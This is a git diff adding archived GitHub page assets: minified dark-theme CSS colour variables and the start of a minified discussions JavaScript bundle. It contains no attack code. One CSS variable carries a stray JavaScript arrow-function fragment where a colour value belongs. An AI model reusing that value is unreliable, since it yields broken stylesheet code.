rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}} + +/*# sourceMappingURL=dark-27e9c50c7b31.css.map*/ \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js new file mode 100644 index 0000000..b0e0f01 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js @@ -0,0 +1,35 @@ +"use strict";(()=>{var te=Object.defineProperty;var o=(T,E)=>te(T,"name",{value:E,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["discussions"],{67105:(T,E,a)=>{var l=a(6741),d=a(64463),v=a(65935);(0,d.N7)(".js-discussions-goto-answer-button",{add:e=>{const t=e.getAttribute("href"),n=document.querySelector(t);n&&(0,l.RB)(e,"click",s=>{if(t){s.preventDefault();let m="center";n.getBoundingClientRect().height>=window.innerHeight&&(m="start"),n.scrollIntoView({behavior:"smooth",block:m})}},{capture:!0})}}),(0,d.N7)(".js-discussions-title-container",{add:e=>{e.querySelector(".js-discussions-goto-answer-button")?h():f()}});function h(){const e=document.querySelector(".js-discussion");e&&e.classList.add("answered")}o(h,"removeMarkAsAnswerButtons");function f(){const e=document.querySelector(".js-discussion");e&&e.classList.remove("answered")}o(f,"addMarkAsAnswerButtons"),(0,v.AC)(".js-discussion-comment-mark-answer",async function(e,t){await c(e,t)}),(0,v.AC)(".js-discussion-comment-unmark-answer",async function(e,t){await c(e,t)});async function c(e,t){const n=await t.html();let s=e;const m=e.closest("[data-replace-remote-form-target]");if(m){const y=m.getAttribute("data-replace-remote-form-target");s=y?document.getElementById(y):m}s.replaceWith(n.html)}o(c,"replaceAnswerForm");var i=a(59753),r=a(45075);(0,r.w4)("keyup",".js-discussion-category-name-field",function(){const e=document.querySelector(".js-discussion-category-form");if(!e)return;const t=e.querySelector(".js-discussion-category-name-field"),n=e.querySelector(".js-submit-discussion-category");t.value.length>0&&(n.disabled=!1)}),(0,i.on)("click",".js-discussion-category-toggle-emoji-picker",function(e){const 